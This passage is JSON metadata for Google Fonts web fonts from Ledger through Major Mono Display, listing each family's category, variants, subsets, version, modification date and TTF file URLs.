"subsets": [ "cyrillic", "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/ledger/v7/j8_q6-HK1L3if_sxm8DwHTBhHw.ttf" } }, { "kind": "webfonts#webfont", "family": "Lekton", "category": "sans-serif", "variants": [ "regular", "italic", "700" ], "subsets": [ "latin-ext", "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/lekton/v10/SZc43FDmLaWmWpBeXxfonUPL6Q.ttf", "italic": "http://fonts.gstatic.com/s/lekton/v10/SZc63FDmLaWmWpBuXR3sv0bb6StO.ttf", "700": "http://fonts.gstatic.com/s/lekton/v10/SZc73FDmLaWmWpBm4zjMlWjX4DJXgQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Lemon", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/lemon/v8/HI_EiYEVKqRMq0jBSZXAQ4-d.ttf" } }, { "kind": "webfonts#webfont", "family": "Lemonada", "category": "display", "variants": [ "300", "regular", "500", "600", "700" ], "subsets": [ "vietnamese", "arabic", "latin-ext", "latin" ], "version": "v9", "lastModified": "2020-02-05", "files": { "300": "http://fonts.gstatic.com/s/lemonada/v9/0QI-MXFD9oygTWy_R-FFlwV-bgfR7QJGJOt2mfWc3Z2pTg.ttf", "regular": "http://fonts.gstatic.com/s/lemonada/v9/0QI-MXFD9oygTWy_R-FFlwV-bgfR7QJGeut2mfWc3Z2pTg.ttf", "500": "http://fonts.gstatic.com/s/lemonada/v9/0QI-MXFD9oygTWy_R-FFlwV-bgfR7QJGSOt2mfWc3Z2pTg.ttf", "600": "http://fonts.gstatic.com/s/lemonada/v9/0QI-MXFD9oygTWy_R-FFlwV-bgfR7QJGpOx2mfWc3Z2pTg.ttf", "700": "http://fonts.gstatic.com/s/lemonada/v9/0QI-MXFD9oygTWy_R-FFlwV-bgfR7QJGnex2mfWc3Z2pTg.ttf" } }, { "kind": "webfonts#webfont", "family": "Lexend Deca", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v1", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/lexenddeca/v1/K2F1fZFYk-dHSE0UPPuwQ6qgLS76ZHOM.ttf" } }, { "kind": "webfonts#webfont", "family": "Lexend Exa", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v1", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/lexendexa/v1/UMBXrPdOoHOnxExyjdBeWirXArM58BY.ttf" } }, { "kind": "webfonts#webfont", "family": "Lexend Giga", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v1", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/lexendgiga/v1/PlI5Fl67Mah5Y8yMHE7lkVxEt8CwfGaD.ttf" } }, { "kind": "webfonts#webfont", "family": "Lexend Mega", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v1", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/lexendmega/v1/qFdA35aBi5JtHD41zSTFEv7K6BsAikI7.ttf" } }, { "kind": "webfonts#webfont", "family": "Lexend Peta", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v1", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/lexendpeta/v1/BXRvvFPGjeLPh0kCfI4OkE_1c8Tf1IW3.ttf" } }, { "kind": "webfonts#webfont", "family": "Lexend Tera", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v1", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/lexendtera/v1/RrQUbo98_jt_IXnBPwCWtZhARYMgGtWA.ttf" } }, { "kind": "webfonts#webfont", "family": "Lexend Zetta", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v1", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/lexendzetta/v1/ll87K2KYXje7CdOFnEWcU8soliQejRR7AQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Libre Barcode 128", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/librebarcode128/v9/cIfnMbdUsUoiW3O_hVviCwVjuLtXeJ_A_gMk0izH.ttf" } }, { "kind": "webfonts#webfont", "family": "Libre Barcode 128 Text", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/librebarcode128text/v9/fdNv9tubt3ZEnz1Gu3I4-zppwZ9CWZ16Z0w5cV3Y6M90w4k.ttf" } }, { "kind": "webfonts#webfont", "family": "Libre Barcode 39", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/librebarcode39/v9/-nFnOHM08vwC6h8Li1eQnP_AHzI2K_d709jy92k.ttf" } }, { "kind": "webfonts#webfont", "family": "Libre Barcode 39 Extended", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/librebarcode39extended/v8/8At7Gt6_O5yNS0-K4Nf5U922qSzhJ3dUdfJpwNUgfNRCOZ1GOBw.ttf" } }, { "kind": "webfonts#webfont", "family": "Libre Barcode 39 Extended Text", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/librebarcode39extendedtext/v8/eLG1P_rwIgOiDA7yrs9LoKaYRVLQ1YldrrOnnL7xPO4jNP68fLIiPopNNA.ttf" } }, { "kind": "webfonts#webfont", "family": "Libre Barcode 39 Text", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/librebarcode39text/v9/sJoa3KhViNKANw_E3LwoDXvs5Un0HQ1vT-031RRL-9rYaw.ttf" } }, { "kind": "webfonts#webfont", "family": "Libre Baskerville", "category": "serif", "variants": [ "regular", "italic", "700" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-22", "files": { "regular": "http://fonts.gstatic.com/s/librebaskerville/v7/kmKnZrc3Hgbbcjq75U4uslyuy4kn0pNeYRI4CN2V.ttf", "italic": "http://fonts.gstatic.com/s/librebaskerville/v7/kmKhZrc3Hgbbcjq75U4uslyuy4kn0qNcaxYaDc2V2ro.ttf", "700": "http://fonts.gstatic.com/s/librebaskerville/v7/kmKiZrc3Hgbbcjq75U4uslyuy4kn0qviTjYwI8Gcw6Oi.ttf" } }, { "kind": "webfonts#webfont", "family": "Libre Caslon Display", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v1", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/librecaslondisplay/v1/TuGOUUFxWphYQ6YI6q9Xp61FQzxDRKmzr2lRdRhtCC4d.ttf" } }, { "kind": "webfonts#webfont", "family": "Libre Caslon Text", "category": "serif", "variants": [ "regular", "italic", "700" ], "subsets": [ "latin-ext", "latin" ], "version": "v1", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/librecaslontext/v1/DdT878IGsGw1aF1JU10PUbTvNNaDMcq_3eNrHgO1.ttf", "italic": "http://fonts.gstatic.com/s/librecaslontext/v1/DdT678IGsGw1aF1JU10PUbTvNNaDMfq91-dJGxO1q9o.ttf", "700": "http://fonts.gstatic.com/s/librecaslontext/v1/DdT578IGsGw1aF1JU10PUbTvNNaDMfID8sdjNR-8ssPt.ttf" } }, { "kind": "webfonts#webfont", "family": "Libre Franklin", "category": "sans-serif", "variants": [ "100", "100italic", "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic", "800", "800italic", "900", "900italic" ], "subsets": [ "latin-ext", "latin" ], "version": "v4", "lastModified": "2019-07-22", "files": { "100": "http://fonts.gstatic.com/s/librefranklin/v4/jizBREVItHgc8qDIbSTKq4XkRi182zIZj1bIkNo.ttf", "100italic": "http://fonts.gstatic.com/s/librefranklin/v4/jizHREVItHgc8qDIbSTKq4XkRiUa41YTi3TNgNq55w.ttf", "200": "http://fonts.gstatic.com/s/librefranklin/v4/jizAREVItHgc8qDIbSTKq4XkRi3Q-hIzoVrBicOg.ttf", "200italic": "http://fonts.gstatic.com/s/librefranklin/v4/jizGREVItHgc8qDIbSTKq4XkRiUa4_oyq17jjNOg_oc.ttf", "300": "http://fonts.gstatic.com/s/librefranklin/v4/jizAREVItHgc8qDIbSTKq4XkRi20-RIzoVrBicOg.ttf", "300italic": "http://fonts.gstatic.com/s/librefranklin/v4/jizGREVItHgc8qDIbSTKq4XkRiUa454xq17jjNOg_oc.ttf", "regular": "http://fonts.gstatic.com/s/librefranklin/v4/jizDREVItHgc8qDIbSTKq4XkRhUY0TY7ikbI.ttf", "italic": "http://fonts.gstatic.com/s/librefranklin/v4/jizBREVItHgc8qDIbSTKq4XkRiUa2zIZj1bIkNo.ttf", "500": "http://fonts.gstatic.com/s/librefranklin/v4/jizAREVItHgc8qDIbSTKq4XkRi3s-BIzoVrBicOg.ttf", "500italic": "http://fonts.gstatic.com/s/librefranklin/v4/jizGREVItHgc8qDIbSTKq4XkRiUa48Ywq17jjNOg_oc.ttf", "600": "http://fonts.gstatic.com/s/librefranklin/v4/jizAREVItHgc8qDIbSTKq4XkRi3A_xIzoVrBicOg.ttf", "600italic": "http://fonts.gstatic.com/s/librefranklin/v4/jizGREVItHgc8qDIbSTKq4XkRiUa4-o3q17jjNOg_oc.ttf", "700": "http://fonts.gstatic.com/s/librefranklin/v4/jizAREVItHgc8qDIbSTKq4XkRi2k_hIzoVrBicOg.ttf", "700italic": "http://fonts.gstatic.com/s/librefranklin/v4/jizGREVItHgc8qDIbSTKq4XkRiUa4442q17jjNOg_oc.ttf", "800": "http://fonts.gstatic.com/s/librefranklin/v4/jizAREVItHgc8qDIbSTKq4XkRi24_RIzoVrBicOg.ttf", "800italic": "http://fonts.gstatic.com/s/librefranklin/v4/jizGREVItHgc8qDIbSTKq4XkRiUa45I1q17jjNOg_oc.ttf", "900": "http://fonts.gstatic.com/s/librefranklin/v4/jizAREVItHgc8qDIbSTKq4XkRi2c_BIzoVrBicOg.ttf", "900italic": "http://fonts.gstatic.com/s/librefranklin/v4/jizGREVItHgc8qDIbSTKq4XkRiUa47Y0q17jjNOg_oc.ttf" } }, { "kind": "webfonts#webfont", "family": "Life Savers", "category": "display", "variants": [ "regular", "700", "800" ], "subsets": [ "latin-ext", "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/lifesavers/v10/ZXuie1UftKKabUQMgxAal_lrFgpbuNvB.ttf", "700": "http://fonts.gstatic.com/s/lifesavers/v10/ZXu_e1UftKKabUQMgxAal8HXOS5Tk8fIpPRW.ttf", "800": "http://fonts.gstatic.com/s/lifesavers/v10/ZXu_e1UftKKabUQMgxAal8HLOi5Tk8fIpPRW.ttf" } }, { "kind": "webfonts#webfont", "family": "Lilita One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/lilitaone/v7/i7dPIFZ9Zz-WBtRtedDbUEZ2RFq7AwU.ttf" } }, { "kind": "webfonts#webfont", "family": "Lily Script One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/lilyscriptone/v7/LhW9MV7ZMfIPdMxeBjBvFN8SXLS4gsSjQNsRMg.ttf" } }, { "kind": "webfonts#webfont", "family": "Limelight", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/limelight/v10/XLYkIZL7aopJVbZJHDuYPeNGrnY2TA.ttf" } }, { "kind": "webfonts#webfont", "family": "Linden Hill", "category": "serif", "variants": [ "regular", "italic" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/lindenhill/v9/-F61fjxoKSg9Yc3hZgO8ygFI7CwC009k.ttf", "italic": "http://fonts.gstatic.com/s/lindenhill/v9/-F63fjxoKSg9Yc3hZgO8yjFK5igg1l9kn-s.ttf" } }, { "kind": "webfonts#webfont", "family": "Literata", "category": "serif", "variants": [ "regular", "500", "600", "700", "italic", "500italic", "600italic", "700italic" ], "subsets": [ "cyrillic", "vietnamese", "greek-ext", "greek", "latin-ext", "latin" ], "version": "v15", "lastModified": "2020-02-05", "files": { "regular": "http://fonts.gstatic.com/s/literata/v15/or38Q6P12-iJxAIgLa78DkTtAoDhk0oVpaLVa5RXzC1KOw.ttf", "500": "http://fonts.gstatic.com/s/literata/v15/or38Q6P12-iJxAIgLa78DkTtAoDhk0oVl6LVa5RXzC1KOw.ttf", "600": "http://fonts.gstatic.com/s/literata/v15/or38Q6P12-iJxAIgLa78DkTtAoDhk0oVe6XVa5RXzC1KOw.ttf", "700": "http://fonts.gstatic.com/s/literata/v15/or38Q6P12-iJxAIgLa78DkTtAoDhk0oVQqXVa5RXzC1KOw.ttf", "italic": "http://fonts.gstatic.com/s/literata/v15/or3yQ6P12-iJxAIgLYT1PLs1a-t7PU0AbeE9KJ5T7ihaO_CS.ttf", "500italic": "http://fonts.gstatic.com/s/literata/v15/or3yQ6P12-iJxAIgLYT1PLs1a-t7PU0AbeEPKJ5T7ihaO_CS.ttf", "600italic": "http://fonts.gstatic.com/s/literata/v15/or3yQ6P12-iJxAIgLYT1PLs1a-t7PU0AbeHjL55T7ihaO_CS.ttf", "700italic": "http://fonts.gstatic.com/s/literata/v15/or3yQ6P12-iJxAIgLYT1PLs1a-t7PU0AbeHaL55T7ihaO_CS.ttf" } }, { "kind": "webfonts#webfont", "family": "Liu Jian Mao Cao", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "chinese-simplified", "latin" ], "version": "v5", "lastModified": "2019-11-05", "files": { "regular": "http://fonts.gstatic.com/s/liujianmaocao/v5/845DNN84HJrccNonurqXILGpvCOoferVKGWsUo8.ttf" } }, { "kind": "webfonts#webfont", "family": "Livvic", "category": "sans-serif", "variants": [ "100", "100italic", "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic", "900", "900italic" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v3", "lastModified": "2019-11-05", "files": { "100": "http://fonts.gstatic.com/s/livvic/v3/rnCr-x1S2hzjrlffC-M-mHnOSOuk.ttf", "100italic": "http://fonts.gstatic.com/s/livvic/v3/rnCt-x1S2hzjrlfXbdtakn3sTfukQHs.ttf", "200": "http://fonts.gstatic.com/s/livvic/v3/rnCq-x1S2hzjrlffp8IeslfCQfK9WQ.ttf", "200italic": "http://fonts.gstatic.com/s/livvic/v3/rnCs-x1S2hzjrlfXbdv2s13GY_etWWIJ.ttf", "300": "http://fonts.gstatic.com/s/livvic/v3/rnCq-x1S2hzjrlffw8EeslfCQfK9WQ.ttf", "300italic": "http://fonts.gstatic.com/s/livvic/v3/rnCs-x1S2hzjrlfXbduSsF3GY_etWWIJ.ttf", "regular": "http://fonts.gstatic.com/s/livvic/v3/rnCp-x1S2hzjrlfnb-k6unzeSA.ttf", "italic": "http://fonts.gstatic.com/s/livvic/v3/rnCr-x1S2hzjrlfXbeM-mHnOSOuk.ttf", "500": "http://fonts.gstatic.com/s/livvic/v3/rnCq-x1S2hzjrlffm8AeslfCQfK9WQ.ttf", "500italic": "http://fonts.gstatic.com/s/livvic/v3/rnCs-x1S2hzjrlfXbdvKsV3GY_etWWIJ.ttf", "600": "http://fonts.gstatic.com/s/livvic/v3/rnCq-x1S2hzjrlfft8ceslfCQfK9WQ.ttf", "600italic": "http://fonts.gstatic.com/s/livvic/v3/rnCs-x1S2hzjrlfXbdvmtl3GY_etWWIJ.ttf", "700": "http://fonts.gstatic.com/s/livvic/v3/rnCq-x1S2hzjrlff08YeslfCQfK9WQ.ttf", "700italic": "http://fonts.gstatic.com/s/livvic/v3/rnCs-x1S2hzjrlfXbduCt13GY_etWWIJ.ttf", "900": "http://fonts.gstatic.com/s/livvic/v3/rnCq-x1S2hzjrlff68QeslfCQfK9WQ.ttf", "900italic": "http://fonts.gstatic.com/s/livvic/v3/rnCs-x1S2hzjrlfXbdu6tV3GY_etWWIJ.ttf" } }, { "kind": "webfonts#webfont", "family": "Lobster", "category": "display", "variants": [ "regular" ], "subsets": [ "cyrillic", "vietnamese", "cyrillic-ext", "latin-ext", "latin" ], "version": "v22", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/lobster/v22/neILzCirqoswsqX9_oWsMqEzSJQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Lobster Two", "category": "display", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "latin" ], "version": "v12", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/lobstertwo/v12/BngMUXZGTXPUvIoyV6yN59fK7KSJ4ACD.ttf", "italic": "http://fonts.gstatic.com/s/lobstertwo/v12/BngOUXZGTXPUvIoyV6yN5-fI5qCr5RCDY_k.ttf", "700": "http://fonts.gstatic.com/s/lobstertwo/v12/BngRUXZGTXPUvIoyV6yN5-92w4CByxyKeuDp.ttf", "700italic": "http://fonts.gstatic.com/s/lobstertwo/v12/BngTUXZGTXPUvIoyV6yN5-fI3hyEwRiof_DpXMY.ttf" } }, { "kind": "webfonts#webfont", "family": "Londrina Outline", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/londrinaoutline/v10/C8c44dM8vmb14dfsZxhetg3pDH-SfuoxrSKMDvI.ttf" } }, { "kind": "webfonts#webfont", "family": "Londrina Shadow", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/londrinashadow/v9/oPWX_kB4kOQoWNJmjxLV5JuoCUlXRlaSxkrMCQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Londrina Sketch", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/londrinasketch/v8/c4m41npxGMTnomOHtRU68eIJn8qfWWn5Pos6CA.ttf" } }, { "kind": "webfonts#webfont", "family": "Londrina Solid", "category": "display", "variants": [ "100", "300", "regular", "900" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "100": "http://fonts.gstatic.com/s/londrinasolid/v9/flUjRq6sw40kQEJxWNgkLuudGfs9KBYesZHhV64.ttf", "300": "http://fonts.gstatic.com/s/londrinasolid/v9/flUiRq6sw40kQEJxWNgkLuudGfv1CjY0n53oTrcL.ttf", "regular": "http://fonts.gstatic.com/s/londrinasolid/v9/flUhRq6sw40kQEJxWNgkLuudGcNZIhI8tIHh.ttf", "900": "http://fonts.gstatic.com/s/londrinasolid/v9/flUiRq6sw40kQEJxWNgkLuudGfvdDzY0n53oTrcL.ttf" } }, { "kind": "webfonts#webfont", "family": "Long Cang", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "chinese-simplified", "latin" ], "version": "v5", "lastModified": "2019-11-05", "files": { "regular": "http://fonts.gstatic.com/s/longcang/v5/LYjAdGP8kkgoTec8zkRgrXArXN7HWQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Lora", "category": "serif", "variants": [ "regular", "500", "600", "700", "italic", "500italic", "600italic", "700italic" ], "subsets": [ "cyrillic", "vietnamese", "cyrillic-ext", "latin-ext", "latin" ], "version": "v15", "lastModified": "2020-03-20", "files": { "regular": "http://fonts.gstatic.com/s/lora/v15/0QI6MX1D_JOuGQbT0gvTJPa787weuyJGmKxemMeZ.ttf", "500": "http://fonts.gstatic.com/s/lora/v15/0QI6MX1D_JOuGQbT0gvTJPa787wsuyJGmKxemMeZ.ttf", "600": "http://fonts.gstatic.com/s/lora/v15/0QI6MX1D_JOuGQbT0gvTJPa787zAvCJGmKxemMeZ.ttf", "700": "http://fonts.gstatic.com/s/lora/v15/0QI6MX1D_JOuGQbT0gvTJPa787z5vCJGmKxemMeZ.ttf", "italic": "http://fonts.gstatic.com/s/lora/v15/0QI8MX1D_JOuMw_hLdO6T2wV9KnW-MoFkqh8ndeZzZ0.ttf", "500italic": "http://fonts.gstatic.com/s/lora/v15/0QI8MX1D_JOuMw_hLdO6T2wV9KnW-PgFkqh8ndeZzZ0.ttf", "600italic": "http://fonts.gstatic.com/s/lora/v15/0QI8MX1D_JOuMw_hLdO6T2wV9KnW-BQCkqh8ndeZzZ0.ttf", "700italic": "http://fonts.gstatic.com/s/lora/v15/0QI8MX1D_JOuMw_hLdO6T2wV9KnW-C0Ckqh8ndeZzZ0.ttf" } }, { "kind": "webfonts#webfont", "family": "Love Ya Like A Sister", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/loveyalikeasister/v10/R70EjzUBlOqPeouhFDfR80-0FhOqJubN-Be78nZcsGGycA.ttf" } }, { "kind": "webfonts#webfont", "family": "Loved by the King", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/lovedbytheking/v9/Gw6gwdP76VDVJNXerebZxUMeRXUF2PiNlXFu2R64.ttf" } }, { "kind": "webfonts#webfont", "family": "Lovers Quarrel", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/loversquarrel/v7/Yq6N-LSKXTL-5bCy8ksBzpQ_-zAsY7pO6siz.ttf" } }, { "kind": "webfonts#webfont", "family": "Luckiest Guy", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/luckiestguy/v10/_gP_1RrxsjcxVyin9l9n_j2RStR3qDpraA.ttf" } }, { "kind": "webfonts#webfont", "family": "Lusitana", "category": "serif", "variants": [ "regular", "700" ], "subsets": [ "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/lusitana/v7/CSR84z9ShvucWzsMKxhaRuMiSct_.ttf", "700": "http://fonts.gstatic.com/s/lusitana/v7/CSR74z9ShvucWzsMKyDmaccqYtd2vfwk.ttf" } }, { "kind": "webfonts#webfont", "family": "Lustria", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/lustria/v7/9oRONYodvDEyjuhOrCg5MtPyAcg.ttf" } }, { "kind": "webfonts#webfont", "family": "M PLUS 1p", "category": "sans-serif", "variants": [ "100", "300", "regular", "500", "700", "800", "900" ], "subsets": [ "cyrillic", "japanese", "vietnamese", "hebrew", "cyrillic-ext", "greek-ext", "greek", "latin-ext", "latin" ], "version": "v19", "lastModified": "2020-03-03", "files": { "100": "http://fonts.gstatic.com/s/mplus1p/v19/e3tleuShHdiFyPFzBRrQnDQAUW3aq-5N.ttf", "300": "http://fonts.gstatic.com/s/mplus1p/v19/e3tmeuShHdiFyPFzBRrQVBYge0PWovdU4w.ttf", "regular": "http://fonts.gstatic.com/s/mplus1p/v19/e3tjeuShHdiFyPFzBRro-D4Ec2jKqw.ttf", "500": "http://fonts.gstatic.com/s/mplus1p/v19/e3tmeuShHdiFyPFzBRrQDBcge0PWovdU4w.ttf", "700": "http://fonts.gstatic.com/s/mplus1p/v19/e3tmeuShHdiFyPFzBRrQRBEge0PWovdU4w.ttf", "800": "http://fonts.gstatic.com/s/mplus1p/v19/e3tmeuShHdiFyPFzBRrQWBIge0PWovdU4w.ttf", "900": "http://fonts.gstatic.com/s/mplus1p/v19/e3tmeuShHdiFyPFzBRrQfBMge0PWovdU4w.ttf" } }, { "kind": "webfonts#webfont", "family": "M PLUS Rounded 1c", "category": "sans-serif", "variants": [ "100", "300", "regular", "500", "700", "800", "900" ], "subsets": [ "cyrillic", "japanese", "vietnamese", "hebrew", "cyrillic-ext", "greek-ext", "greek", "latin-ext", "latin" ], "version": "v10", "lastModified": "2019-11-05", "files": { "100": "http://fonts.gstatic.com/s/mplusrounded1c/v10/VdGCAYIAV6gnpUpoWwNkYvrugw9RuM3ixLsg6-av1x0.ttf", "300": "http://fonts.gstatic.com/s/mplusrounded1c/v10/VdGBAYIAV6gnpUpoWwNkYvrugw9RuM0q5psKxeqmzgRK.ttf", "regular": "http://fonts.gstatic.com/s/mplusrounded1c/v10/VdGEAYIAV6gnpUpoWwNkYvrugw9RuPWGzr8C7vav.ttf", "500": "http://fonts.gstatic.com/s/mplusrounded1c/v10/VdGBAYIAV6gnpUpoWwNkYvrugw9RuM1y55sKxeqmzgRK.ttf", "700": "http://fonts.gstatic.com/s/mplusrounded1c/v10/VdGBAYIAV6gnpUpoWwNkYvrugw9RuM064ZsKxeqmzgRK.ttf", "800": "http://fonts.gstatic.com/s/mplusrounded1c/v10/VdGBAYIAV6gnpUpoWwNkYvrugw9RuM0m4psKxeqmzgRK.ttf", "900": "http://fonts.gstatic.com/s/mplusrounded1c/v10/VdGBAYIAV6gnpUpoWwNkYvrugw9RuM0C45sKxeqmzgRK.ttf" } }, { "kind": "webfonts#webfont", "family": "Ma Shan Zheng", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "chinese-simplified", "latin" ], "version": "v5", "lastModified": "2019-11-05", "files": { "regular": "http://fonts.gstatic.com/s/mashanzheng/v5/NaPecZTRCLxvwo41b4gvzkXaRMTsDIRSfr0.ttf" } }, { "kind": "webfonts#webfont", "family": "Macondo", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/macondo/v8/RrQQboN9-iB1IXmOS2XO0LBBd4Y.ttf" } }, { "kind": "webfonts#webfont", "family": "Macondo Swash Caps", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/macondoswashcaps/v7/6NUL8EaAJgGKZA7lpt941Z9s6ZYgDq6Oekoa_mm5bA.ttf" } }, { "kind": "webfonts#webfont", "family": "Mada", "category": "sans-serif", "variants": [ "200", "300", "regular", "500", "600", "700", "900" ], "subsets": [ "arabic", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "200": "http://fonts.gstatic.com/s/mada/v8/7Au_p_0qnzeSdf3nCCL8zkwMIFg.ttf", "300": "http://fonts.gstatic.com/s/mada/v8/7Au_p_0qnzeSdZnkCCL8zkwMIFg.ttf", "regular": "http://fonts.gstatic.com/s/mada/v8/7Auwp_0qnzeSTTXMLCrX0kU.ttf", "500": "http://fonts.gstatic.com/s/mada/v8/7Au_p_0qnzeSdcHlCCL8zkwMIFg.ttf", "600": "http://fonts.gstatic.com/s/mada/v8/7Au_p_0qnzeSde3iCCL8zkwMIFg.ttf", "700": "http://fonts.gstatic.com/s/mada/v8/7Au_p_0qnzeSdYnjCCL8zkwMIFg.ttf", "900": "http://fonts.gstatic.com/s/mada/v8/7Au_p_0qnzeSdbHhCCL8zkwMIFg.ttf" } }, { "kind": "webfonts#webfont", "family": "Magra", "category": "sans-serif", "variants": [ "regular", "700" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/magra/v8/uK_94ruaZus72k5xIDMfO-ed.ttf", "700": "http://fonts.gstatic.com/s/magra/v8/uK_w4ruaZus72nbNDxcXEPuUX1ow.ttf" } }, { "kind": "webfonts#webfont", "family": "Maiden Orange", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/maidenorange/v10/kJE1BuIX7AUmhi2V4m08kb1XjOZdCZS8FY8.ttf" } }, { "kind": "webfonts#webfont", "family": "Maitree", "category": "serif", "variants": [ "200", "300", "regular", "500", "600", "700" ], "subsets": [ "vietnamese", "thai", "latin-ext", "latin" ], "version": "v4", "lastModified": "2019-07-16", "files": { "200": "http://fonts.gstatic.com/s/maitree/v4/MjQDmil5tffhpBrklhGNWJGovLdh6OE.ttf", "300": "http://fonts.gstatic.com/s/maitree/v4/MjQDmil5tffhpBrklnWOWJGovLdh6OE.ttf", "regular": "http://fonts.gstatic.com/s/maitree/v4/MjQGmil5tffhpBrkrtmmfJmDoL4.ttf", "500": "http://fonts.gstatic.com/s/maitree/v4/MjQDmil5tffhpBrkli2PWJGovLdh6OE.ttf", "600": "http://fonts.gstatic.com/s/maitree/v4/MjQDmil5tffhpBrklgGIWJGovLdh6OE.ttf", "700": "http://fonts.gstatic.com/s/maitree/v4/MjQDmil5tffhpBrklmWJWJGovLdh6OE.ttf" } }, { "kind": "webfonts#webfont", "family": "Major Mono Display", "category": "monospace", 